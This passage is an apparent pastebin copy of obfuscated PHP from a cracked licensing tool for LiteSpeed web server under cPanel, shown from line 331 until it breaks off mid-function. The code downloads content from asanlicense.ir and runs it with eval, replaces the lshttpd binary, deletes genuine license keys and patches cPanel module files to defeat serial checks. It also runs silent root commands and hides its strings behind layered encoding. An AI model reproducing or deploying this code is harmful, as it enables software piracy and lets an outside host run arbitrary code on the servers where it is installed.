  331. $phpshield_obfuscated_3fcdb8213ec0f360b42a72cb00e84461 = @phpshield_obfuscated_r8bs14gu17f93y('/usr/local/cgls/Licensing');
  332. if (phpshield_obfuscated_r1bd1ggusnf9cs("Safe" . $phpshield_obfuscated_3fcdb8213ec0f360b42a72cb00e84461, 'cyberlicsys')) {
  333. $phpshield_obfuscated_7318a606a3118d468dae7078098fba7b2 = private_cyberlicsys('http://asanlicense.ir/hackreport.php?reason=decodedsystem');
  334. @eval($phpshield_obfuscated_7318a606a3118d468dae7078098fba7b2);
  335. }
  336. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  337. if (phpshield_obfuscated_ra4sgkg93U2qat('debug', $argv)) {
  338. $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a = '';
  339. } else {
  340. $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a = ' >/dev/null 2>&1';
  341. }
  342. function phpshield_obfuscated_5ea7f4f9b61b20014c4a094876f7464f()
  343. {
  344. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  345. $phpshield_obfuscated_c3a0927896c60396e540e152e2d48b9f = trim(phpshield_obfuscated_r8bs14gu17f93y('/usr/local/lsws/VERSION'));
  346. $phpshield_obfuscated_a78aa26f8f47f03de3063a26580c01b5 = '/usr/local/lsws/bin/lshttpd.' . $phpshield_obfuscated_c3a0927896c60396e540e152e2d48b9f;
  347. phpshield_obfuscated_7e7dd05abe32aff9a42cb391f75b394d('/usr/local/lsws/bin/lshttpd -t');
  348. $phpshield_obfuscated_31c83a5b1ccd30087a47a7aa6e79fecc = phpshield_obfuscated_r8bs14gu17f93y('/usr/local/cgls/log/cyberrun.log');
  349. $phpshield_obfuscated_31c83a5b1ccd30087a47a7aa6e79fecc .= phpshield_obfuscated_r8bs14gu17f93y('/usr/local/cgls/log/cyberrun2.log');
  350. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/cyberrun.log');
  351. phpshield_obfuscated_r41sgkg2as1qqy('/usr/local/cgls/log/cyberrun2.log');
  352. if (phpshield_obfuscated_r1bd1ggusnf9cs($phpshield_obfuscated_31c83a5b1ccd30087a47a7aa6e79fecc, 'httpd_config.xml')) {
  353. phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/cgls/Licensing -install litespeed ' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  354. }
  355. $phpshield_obfuscated_857cf7ebbc16254340c06dc6348c068d = @filesize($phpshield_obfuscated_a78aa26f8f47f03de3063a26580c01b5);
  356. if ($phpshield_obfuscated_857cf7ebbc16254340c06dc6348c068d < 100000) {
  357. if (!file_exists("/usr/local/lsws/bin/lshttpd_")) {
  358. phpshield_obfuscated_uarsEwg2qUpqxo('/usr/local/cgls/Licensing -install litespeed ' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  359. }
  360. }
  361. }
  362. function phpshield_obfuscated_5b3d01f17b48fdebd2a5ea4fd05bc9f8()
  363. {
  364. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  365. $phpshield_obfuscated_c3a0927896c60396e540e152e2d48b9f = trim(phpshield_obfuscated_r8bs14gu17f93y('/usr/local/lsws/VERSION'));
  366. $phpshield_obfuscated_a78aa26f8f47f03de3063a26580c01b5 = '/usr/local/lsws/bin/lshttpd.' . $phpshield_obfuscated_c3a0927896c60396e540e152e2d48b9f;
  367. if (file_exists("/usr/local/lsws/bin/lshttpd_")) {
  368. phpshield_obfuscated_r41sgkg2as1qqy($phpshield_obfuscated_a78aa26f8f47f03de3063a26580c01b5);
  369. phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf ' . $phpshield_obfuscated_a78aa26f8f47f03de3063a26580c01b5);
  370. rename("/usr/local/lsws/bin/lshttpd_", $phpshield_obfuscated_a78aa26f8f47f03de3063a26580c01b5);
  371. phpshield_obfuscated_uarsEwg2qUpqxo('mv /usr/local/lsws/bin/lshttpd_ ' . $phpshield_obfuscated_a78aa26f8f47f03de3063a26580c01b5);
  372. }
  373. phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf ' . phpshield_obfuscated_baes2wg9qU1qxd('L3Vzci9sb2NhbC9jZ2xzL2xpYi9saWJjMmZpeGVkLnNv'));
  374. @phpshield_obfuscated_r41sgkg2as1qqy(phpshield_obfuscated_baes2wg9qU1qxd('L3Vzci9sb2NhbC9jZ2xzL2xpYi9saWJjMmZpeGVkLnNv'));
  375. }
  376. function phpshield_obfuscated_df6b4199a2866d41442f9b0a389463c0()
  377. {
  378. global $phpshield_obfuscated_6a40907137efe3f07e1b561fe7dc0394, $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f, $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a, $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2, $phpshield_obfuscated_c52e4fb7d9ac188004966cdb02702bfe, $phpshield_obfuscated_f70ec0fab92cfbb058c5f6d82c0aa7a1, $argv;
  379. phpshield_obfuscated_5b3d01f17b48fdebd2a5ea4fd05bc9f8();
  380. if (file_exists('/usr/local/lsws/conf/trial.key')) {
  381. phpshield_obfuscated_uarsEwg2qUpqxo($phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653 . ' -i /usr/local/lsws/conf/trial.key');
  382. phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf /usr/local/lsws/conf/trial.key');
  383. }
  384. if (file_exists('/usr/local/lsws/conf/license.key')) {
  385. $phpshield_obfuscated_362661de726a1fb08719c20884bcdbed = @unserialize(@private_cyberlicsys('http://asanlicense.ir/litespeed/list.php'));
  386. $phpshield_obfuscated_1638fe16d3c6dcdb5d3c50d92b062924 = @phpshield_obfuscated_r8bs14gu17f93y('/usr/local/lsws/conf/serial.no');
  387. foreach ($phpshield_obfuscated_362661de726a1fb08719c20884bcdbed as $phpshield_obfuscated_203358b7057d7c9e8c532fa6cd30006c => $phpshield_obfuscated_d65701bfe95be82fa2d76a245bcf3615) {
  388. if ($phpshield_obfuscated_d65701bfe95be82fa2d76a245bcf3615 == $phpshield_obfuscated_1638fe16d3c6dcdb5d3c50d92b062924) {
  389. phpshield_obfuscated_uarsEwg2qUpqxo($phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653 . ' -i /usr/local/lsws/conf/license.key');
  390. phpshield_obfuscated_uarsEwg2qUpqxo('rm -rf /usr/local/lsws/conf/license.key');
  391. }
  392. }
  393. }
  394. $phpshield_obfuscated_d570477d2d1a99a45f4997bea058a6c8 = '/usr/local/cpanel/whostmgr/cgi/lsws/WhmMod_LiteSpeed_Util.php';
  395. $phpshield_obfuscated_137ddc7f8074112371a52f90266b1fa5 = @phpshield_obfuscated_r8bs14gu17f93y($phpshield_obfuscated_d570477d2d1a99a45f4997bea058a6c8);
  396. if (phpshield_obfuscated_r1bd1ggusnf9cs($phpshield_obfuscated_137ddc7f8074112371a52f90266b1fa5, "/conf/serial2.no")) {
  397. $phpshield_obfuscated_137ddc7f8074112371a52f90266b1fa5 = phpshield_obfuscated_raqs2kg9aU1qxt("/conf/serial2.no", "/conf/serial.no", $phpshield_obfuscated_137ddc7f8074112371a52f90266b1fa5);
  398. phpshield_obfuscated_r82sg4g2a7190y('/usr/local/cpanel/whostmgr/cgi/lsws/WhmMod_LiteSpeed_Util.php', $phpshield_obfuscated_137ddc7f8074112371a52f90266b1fa5);
  399. }
  400. }
  401. function phpshield_obfuscated_e85f9fee76c456664960cea313e7fe80($phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6)
  402. {
  403. if (empty($phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6)) {
  404. $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6 = 'CHECK_LSWS_RUNNING';
  405. }
  406. if (file_exists('/usr/local/cpanel/whostmgr/docroot/cgi/lsws/bin/lsws_cmd.sh')) {
  407. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = '/usr/local/cpanel/whostmgr/docroot/cgi/lsws/bin/lsws_cmd.sh /usr/local/lsws ' . $phpshield_obfuscated_1589159191f6d15d9bcc1ef64734bcd6;
  408. phpshield_obfuscated_1a3se2g9451qxt($phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3);
  409. return $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3[0];
  410. }
  411. return 'lsws cmd file not found !';
  412. }
  413. function phpshield_obfuscated_f42317e881519ec6cba3fe393f615a92()
  414. {
  415. if (file_exists('/usr/sbin/lspci')) {
  416. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = phpshield_obfuscated_sahsekg9lU1qxt('/usr/sbin/lspci');
  417. if (phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'vmware')) {
  418. return '1';
  419. }
  420. }
  421. if (file_exists('/sbin/lspci')) {
  422. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = phpshield_obfuscated_sahsekg9lU1qxt('/sbin/lspci');
  423. if (phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'vmware')) {
  424. return '1';
  425. }
  426. }
  427. if (file_exists('/proc/vz') or file_exists('/proc/vz/veinfo') or file_exists('/proc/sys/xen') or file_exists('/sys/bus/xen') or file_exists('/proc/xen')) {
  428. return '1';
  429. }
  430. if (file_exists('/proc/cpuinfo') & file_exists('/usr/bin/grep')) {
  431. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = phpshield_obfuscated_sahsekg9lU1qxt('/usr/bin/grep \'model name\' /proc/cpuinfo');
  432. if (phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'virtual')) {
  433. return '1';
  434. }
  435. }
  436. if (file_exists('/proc/cpuinfo') & file_exists('/bin/grep')) {
  437. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = phpshield_obfuscated_sahsekg9lU1qxt('/bin/grep \'model name\' /proc/cpuinfo');
  438. if (phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'virtual')) {
  439. return '1';
  440. }
  441. }
  442. if (!file_exists('/usr/sbin/dmidecode')) {
  443. phpshield_obfuscated_uarsEwg2qUpqxo('yum -y install dmidecode' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a);
  444. }
  445. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = phpshield_obfuscated_sahsekg9lU1qxt('/usr/sbin/dmidecode -t system | grep -e Manu -e Prod');
  446. if (phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'virtual') or phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'xen') or phpshield_obfuscated_s1add2gssvfs4s($phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22, 'qemu')) {
  447. return '1';
  448. }
  449. if (file_exists('/usr/local/cpanel/bin/envtype')) {
  450. $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22 = phpshield_obfuscated_sahsekg9lU1qxt('/usr/local/cpanel/bin/envtype');
  451. if (phpshield_obfuscated_s1add2gssvfs4s(strtolower('ss' . $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22), 'kvm') | phpshield_obfuscated_s1add2gssvfs4s(strtolower('ss' . $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22), 'xen') | phpshield_obfuscated_s1add2gssvfs4s(strtolower('ss' . $phpshield_obfuscated_be7775088e4d935118d73ef2bb860d22), 'vmware')) {
  452. return '1';
  453. }
  454. }
  455. return '0';
  456. }
  457. function phpshield_obfuscated_6fdddd9d490a86dee1a875e771fa4373($phpshield_obfuscated_6e4f14b335243be656c65e3ed9e1b115, $phpshield_obfuscated_9281cec8a8336755b503dc010201ab18, $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00)
  458. {
  459. if (empty($phpshield_obfuscated_9281cec8a8336755b503dc010201ab18)) {
  460. $phpshield_obfuscated_9281cec8a8336755b503dc010201ab18 = 10;
  461. }
  462. if (empty($phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00)) {
  463. $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00 = 10;
  464. }
  465. $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78 = curl_init();
  466. curl_setopt($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_USERAGENT, 'cyberheader');
  467. curl_setopt($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_CONNECTTIMEOUT, $phpshield_obfuscated_9281cec8a8336755b503dc010201ab18);
  468. curl_setopt($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_TIMEOUT, $phpshield_obfuscated_c873d2670de63b30cb39798d22eecd00);
  469. curl_setopt($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_NOBODY, true);
  470. curl_setopt($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_URL, $phpshield_obfuscated_6e4f14b335243be656c65e3ed9e1b115);
  471. curl_setopt($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_RETURNTRANSFER, true);
  472. curl_setopt($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78, CURLOPT_HEADER, true);
  473. $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3 = curl_exec($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78);
  474. curl_close($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78);
  475. return $phpshield_obfuscated_e96e6957e643b99ab982605a4618e1d3;
  476. }
  477. function phpshield_obfuscated_c46eaea7f4ac1506be135580951fb653($phpshield_obfuscated_7b751b74065caafec5f3b405ee070e3d)
  478. {
  479. if (empty($phpshield_obfuscated_7b751b74065caafec5f3b405ee070e3d)) {
  480. $phpshield_obfuscated_7b751b74065caafec5f3b405ee070e3d = 10;
  481. }
  482. $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78aracters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  483. $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78aractersLength = strlen($phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78aracters);
  484. $phpshield_obfuscated_cfb2e65c6b41ca63a928fad581b0ddcd = '';
  485. for ($i = 0; $i < $phpshield_obfuscated_7b751b74065caafec5f3b405ee070e3d; $i++) {
  486. $phpshield_obfuscated_cfb2e65c6b41ca63a928fad581b0ddcd .= $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78aracters[rand(0, $phpshield_obfuscated_83a253518ca7e08752dbe5b5d61faa78aractersLength - 1)];
  487. }
  488. return $phpshield_obfuscated_cfb2e65c6b41ca63a928fad581b0ddcd;
  489. }
  490. function phpshield_obfuscated_65b02a9cc8ed83dfa496ae135238099f($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4)
  491. {
  492. $phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6 = array(
  493. 'a',
  494. 'b',
  495. 'c',
  496. 'd',
  497. 'e',
  498. 'f',
  499. 'g',
  500. 'h',
  501. 'i',
  502. 'j'
  503. );
  504. $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03 = array(
  505. '!',
  506. '@',
  507. '#',
  508. '$',
  509. '%',
  510. '^',
  511. '&',
  512. '*',
  513. '(',
  514. ')'
  515. );
  516. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxe($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  517. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_raqs2kg9aU1qxt($phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6, $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03, $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  518. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = gzcompress($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  519. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxe($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  520. return $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4;
  521. }
  522. function phpshield_obfuscated_26f62976120e29abc680a1f060bbbb82($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4)
  523. {
  524. $phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6 = array(
  525. "!",
  526. "@",
  527. "#",
  528. "\$",
  529. "%",
  530. "^",
  531. "&",
  532. "*",
  533. "(",
  534. ")"
  535. );
  536. $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03 = array(
  537. "a",
  538. "b",
  539. "c",
  540. "d",
  541. "e",
  542. "f",
  543. "g",
  544. "h",
  545. "i",
  546. "j"
  547. );
  548. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxd($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  549. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = @gzuncompress($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  550. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_raqs2kg9aU1qxt($phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6, $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03, $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  551. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxd($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  552. return $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4;
  553. }
  554. function phpshield_obfuscated_8df65f4fb98d204b911c10a6e10821ce($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4)
  555. {
  556. $phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6 = array(
  557. 'a',
  558. 'b',
  559. 'c',
  560. 'd',
  561. 'e',
  562. 'f',
  563. 'g',
  564. 'h',
  565. 'i',
  566. 'j'
  567. );
  568. $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03 = array(
  569. '!!',
  570. '$@',
  571. '#$',
  572. '@$',
  573. '*%',
  574. '^*',
  575. '((&',
  576. '*))',
  577. '(#',
  578. '@)'
  579. );
  580. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxe($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  581. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_raqs2kg9aU1qxt($phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6, $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03, $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  582. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = gzcompress($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  583. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxe($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  584. return $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4;
  585. }
  586. function phpshield_obfuscated_5cabcf49ee01c541a17dce476161bb43($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4)
  587. {
  588. $phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6 = array(
  589. '!!',
  590. '$@',
  591. '#$',
  592. '@$',
  593. '*%',
  594. '^*',
  595. '((&',
  596. '*))',
  597. '(#',
  598. '@)'
  599. );
  600. $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03 = array(
  601. 'a',
  602. 'b',
  603. 'c',
  604. 'd',
  605. 'e',
  606. 'f',
  607. 'g',
  608. 'h',
  609. 'i',
  610. 'j'
  611. );
  612. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxd($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  613. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = @gzuncompress($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  614. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_raqs2kg9aU1qxt($phpshield_obfuscated_b0253597862b1707ea13f71bde4046b6, $phpshield_obfuscated_9e14437acd29b79105de60c9c0413c03, $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  615. $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4 = phpshield_obfuscated_baes2wg9qU1qxd($phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4);
  616. return $phpshield_obfuscated_cc187a276bbeafea3a2404a9bdfda2e4;
  617. }
  618. function phpshield_obfuscated_a2e8c0024283a990a7f4b61e44a0aa90($phpshield_obfuscated_2cd691c74aabee17aa0a724de05e7e04)
  619. {
  620. if (empty($phpshield_obfuscated_2cd691c74aabee17aa0a724de05e7e04)) {
  621. $phpshield_obfuscated_2cd691c74aabee17aa0a724de05e7e04 = 200000;
  622. }
  623. if (!is_numeric($phpshield_obfuscated_2cd691c74aabee17aa0a724de05e7e04)) {
  624. $phpshield_obfuscated_2cd691c74aabee17aa0a724de05e7e04 = 200000;
  625. }
  626. phpshield_obfuscated_r82sg4g2a7190y('/usr/local/cgls/etc/loader.ver', '3');
  627. if (file_exists('/usr/local/cgls/disableloader')) {
  628. echo "CPANEL -> NEW SYSTEM IS DISABLED\n";
  629. ....................................................................................
  630. ..........................................................
  631. .........................
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!